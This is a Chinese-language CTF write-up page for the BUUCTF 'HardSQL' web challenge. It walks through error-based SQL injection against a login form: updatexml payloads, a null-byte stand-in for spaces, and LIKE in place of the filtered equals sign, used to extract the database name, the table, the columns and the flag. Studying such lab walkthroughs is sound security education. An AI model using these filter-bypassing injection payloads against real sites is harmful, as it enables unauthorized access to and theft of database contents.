👹
CTF Writeup
  • README
  • BUUCTF
    • [护网杯 2018]easy_tornado
    • [极客大挑战 2019]BuyFlag
    • [极客大挑战 2019]BabySQL
    • [ZJCTF 2019]NiZhuanSiWei
    • [BJDCTF2020]Easy MD5
    • [极客大挑战 2019]EasySQL
    • [HCTF 2018]admin
    • [极客大挑战 2019]Havefun
    • [极客大挑战 2019]Http
    • [极客大挑战 2019]HardSQL
    • [极客大挑战 2019]Knife
    • [SUCTF 2019]CheckIn
    • [极客大挑战 2019]LoveSQL
    • [极客大挑战 2019]PHP
    • [极客大挑战 2019]Secret File
    • [MRCTF2020]你传你🐎呢
    • [极客大挑战 2019]Upload
    • [网鼎杯 2020 青龙组]AreUSerialz
    • [极客大挑战 2020]Roamphp6-flagshop
    • [强网杯 2019]随便注
    • [ACTF2020 新生赛]BackupFile
    • [ACTF2020 新生赛]Exec
    • [MRCTF2020]Ez_bypass
    • [ACTF2020 新生赛]Include
    • [GXYCTF2019]Ping Ping Ping
    • [GXYCTF2019]BabySQli
    • [HCTF 2018]WarmUp
    • [RoarCTF 2019]Easy Calc
    • [GYCTF2020]Blacklist
    • [SUCTF 2019]EasySQL
    • [CISCN2019 华北赛区 Day2 Web1]Hack World
    • [网鼎杯 2018]Fakebook
  • RACTF
    • notrequired
    • madlib
    • git commit -m whatever
  • ByteCTF2021
    • double sqli
由 GitBook 提供支持
在本页

这有帮助吗?

  1. BUUCTF

[极客大挑战 2019]HardSQL

上一页[极客大挑战 2019]Http下一页[极客大挑战 2019]Knife

最后更新于3年前

这有帮助吗?

  1. SQL注入题,打开是登录窗口,抓包查看

image-20211011162901638
  1. Fuzz发现构造闭合的方式

username=admin'or'1

​

  1. 过滤了许多关键词

+
-
and
*
<
>
|
空格
等等
  1. 使用Burpsuite Fuzz %00 到 %ff得到空格的替代字符

http://f57b9924-6938-4343-8229-1c27dec37eb6.node4.buuoj.cn:81/check.php?username=admin123&password=admin'or(updatexml(1,concat(0x7e,(select%00MM),0x7e),1))or'0
  1. 使用 updatexml 报错注入获取数据

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,user(),0x7e),1))or%270
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))or%270
  1. 获取表名

发现会过滤等于号(=),可以用like代替

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or%27

得到:H4rDsq1

  1. 获取字段名

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))or%27
  1. 获取数据

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(id,username,password)from('H4rDsq1')),0x7e),1))or%27

Right 函数查看右边部分

Get Flag!

image-20211011202936594
image-20211012095659360
image-20211012095753540
image-20211012100353746
image-20211012100747475
image-20211012101037739
image-20211012101850661